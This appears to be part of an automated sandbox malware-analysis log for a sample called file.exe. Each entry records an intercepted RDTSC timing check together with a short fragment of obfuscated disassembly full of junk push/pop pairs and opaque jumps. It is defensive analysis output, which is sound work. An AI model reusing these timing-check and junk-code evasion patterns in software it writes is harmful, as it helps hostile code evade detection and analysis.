Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C316C3 second address: C316E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDAD10EAC46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C316E4 second address: C316EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31D34 second address: C31D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31E30 second address: C31E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31F0B second address: C31F11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31F11 second address: C31F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FDAD0CA5E33h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C322DC second address: C322E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C322E1 second address: C322E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C322E7 second address: C32314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D24E3h], esi 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 jmp 00007FDAD10EAC49h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32314 second address: C32341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FDAD0CA5E2Ch 0x00000013 je 00007FDAD0CA5E26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34A28 second address: C34A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDAD10EAC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34A32 second address: C34A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C376F1 second address: C376F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C36A20 second address: C36A2A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37FDA second address: C37FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37FE0 second address: C37FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF3649 second address: BF364D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D189 second address: C3D18E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C2D8 second address: C3C2FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FDAD10EAC42h 0x00000010 jnl 00007FDAD10EAC3Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D2EC second address: C3D2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3E1E4 second address: C3E1E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3EFBF second address: C3EFDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D2F0 second address: C3D35D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FDAD10EAC3Eh 0x00000010 nop 0x00000011 jp 00007FDAD10EAC3Ah 0x00000017 mov bx, 949Ah 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 sub ebx, 5B4F7B11h 0x0000002f mov eax, dword ptr [ebp+122D1071h] 0x00000035 mov bx, ax 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007FDAD10EAC38h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 mov ebx, dword ptr [ebp+122D2E32h] 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3E1E8 second address: C3E25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov dword ptr fs:[00000000h], esp 0x00000018 jbe 00007FDAD0CA5E26h 0x0000001e mov eax, dword ptr [ebp+122D0085h] 0x00000024 jmp 00007FDAD0CA5E2Ah 0x00000029 push FFFFFFFFh 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FDAD0CA5E28h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 sub dword ptr [ebp+122D2287h], edx 0x0000004b nop 0x0000004c jng 00007FDAD0CA5E42h 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FDAD0CA5E30h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D35D second address: C3D361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40048 second address: C4004D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D361 second address: C3D367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4004D second address: C40052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40052 second address: C40058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C401FE second address: C40297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 mov edi, eax 0x00000008 push dword ptr fs:[00000000h] 0x0000000f mov edi, 6E5D7216h 0x00000014 mov dword ptr fs:[00000000h], esp 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007FDAD0CA5E28h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 mov di, 48A2h 0x00000039 mov eax, dword ptr [ebp+122D0A11h] 0x0000003f call 00007FDAD0CA5E38h 0x00000044 jmp 00007FDAD0CA5E39h 0x00000049 pop ebx 0x0000004a push FFFFFFFFh 0x0000004c pushad 0x0000004d jmp 00007FDAD0CA5E2Bh 0x00000052 add edx, dword ptr [ebp+122D2E4Eh] 0x00000058 popad 0x00000059 sub edi, dword ptr [ebp+122D2619h] 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 push esi 0x00000065 pop esi 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40297 second address: C402A1 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C421BF second address: C421D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDAD0CA5E2Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41367 second address: C4138D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b js 00007FDAD10EAC36h 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jmp 00007FDAD10EAC3Ch 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4138D second address: C41393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C43225 second address: C4322A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C441E8 second address: C441EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C441EE second address: C441F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C43448 second address: C43461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD0CA5E34h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C441F4 second address: C44219 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDAD10EAC46h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C43461 second address: C43467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44219 second address: C4421F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4421F second address: C4426B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub dword ptr [ebp+122D2641h], eax 0x00000013 push 00000000h 0x00000015 jmp 00007FDAD0CA5E38h 0x0000001a push 00000000h 0x0000001c add bx, F342h 0x00000021 xchg eax, esi 0x00000022 jmp 00007FDAD0CA5E31h 0x00000027 push eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47263 second address: C47269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47269 second address: C47278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FDAD0CA5E26h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47806 second address: C47817 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47817 second address: C4781C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4781C second address: C47841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 cmc 0x00000009 push 00000000h 0x0000000b mov dword ptr [ebp+1247CD83h], ebx 0x00000011 push 00000000h 0x00000013 movsx ebx, ax 0x00000016 mov ebx, 0BA6A0B8h 0x0000001b push eax 0x0000001c push edi 0x0000001d jo 00007FDAD10EAC3Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47AA4 second address: C47AAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C443BD second address: C443D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C443D6 second address: C443DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A7B0 second address: C4A7B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A7B6 second address: C4A7BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A7BC second address: C4A7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4AA23 second address: C4AA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4AA29 second address: C4AA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FDAD10EAC44h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007FDAD10EAC3Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BA8F second address: C4BA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5562D second address: C55631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55631 second address: C5564B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDAD0CA5E30h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5564B second address: C55657 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDAD10EAC36h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C54DAE second address: C54DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C54DB2 second address: C54DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnp 00007FDAD10EAC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5506E second address: C5507E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FDAD0CA5E26h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AA99 second address: C5AACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FDAD10EAC3Ch 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FDAD10EAC40h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jno 00007FDAD10EAC36h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AACF second address: C5AAD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AAD3 second address: C5AAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5ABD8 second address: C5ABDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5ABDF second address: C5ABF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FDAD10EAC36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5ABF0 second address: C5AC24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007FDAD0CA5E2Bh 0x00000011 jmp 00007FDAD0CA5E34h 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AC24 second address: C5AC2A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AC2A second address: C5AC4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jp 00007FDAD0CA5E30h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AD17 second address: C5AD4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jnl 00007FDAD10EAC3Ch 0x0000000e push ebx 0x0000000f jmp 00007FDAD10EAC44h 0x00000014 pop ebx 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push esi 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5ADCE second address: A83C4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 1AA299FDh 0x00000010 pushad 0x00000011 movzx edi, cx 0x00000014 popad 0x00000015 push dword ptr [ebp+122D078Dh] 0x0000001b stc 0x0000001c jmp 00007FDAD0CA5E2Fh 0x00000021 call dword ptr [ebp+122D25D5h] 0x00000027 pushad 0x00000028 cld 0x00000029 ja 00007FDAD0CA5E2Ch 0x0000002f mov dword ptr [ebp+122D228Ch], edi 0x00000035 xor eax, eax 0x00000037 mov dword ptr [ebp+122D26B3h], ebx 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 jmp 00007FDAD0CA5E34h 0x00000046 mov dword ptr [ebp+122D2BDEh], eax 0x0000004c pushad 0x0000004d pushad 0x0000004e and eax, dword ptr [ebp+122D2EEAh] 0x00000054 add dx, 65BDh 0x00000059 popad 0x0000005a popad 0x0000005b mov esi, 0000003Ch 0x00000060 mov dword ptr [ebp+122D228Ch], ecx 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a xor dword ptr [ebp+122D26B3h], eax 0x00000070 lodsw 0x00000072 add dword ptr [ebp+122D26B3h], ebx 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c xor dword ptr [ebp+122D26B3h], ebx 0x00000082 stc 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cld 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push edx 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E541 second address: C5E545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E545 second address: C5E54F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E54F second address: C5E564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EC5E second address: C5EC6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FDAD0CA5E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EC6D second address: C5EC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FDAD10EAC3Eh 0x00000010 jg 00007FDAD10EAC36h 0x00000016 pushad 0x00000017 popad 0x00000018 jns 00007FDAD10EAC3Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EC93 second address: C5ECAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jmp 00007FDAD0CA5E30h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5ECAC second address: C5ECB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5ECB5 second address: C5ECBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EF75 second address: C5EF88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EF88 second address: C5EF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EF8E second address: C5EFB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC44h 0x00000007 jmp 00007FDAD10EAC3Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EFB8 second address: C5EFCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FDAD0CA5E26h 0x0000000d jbe 00007FDAD0CA5E26h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EFCC second address: C5EFD1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
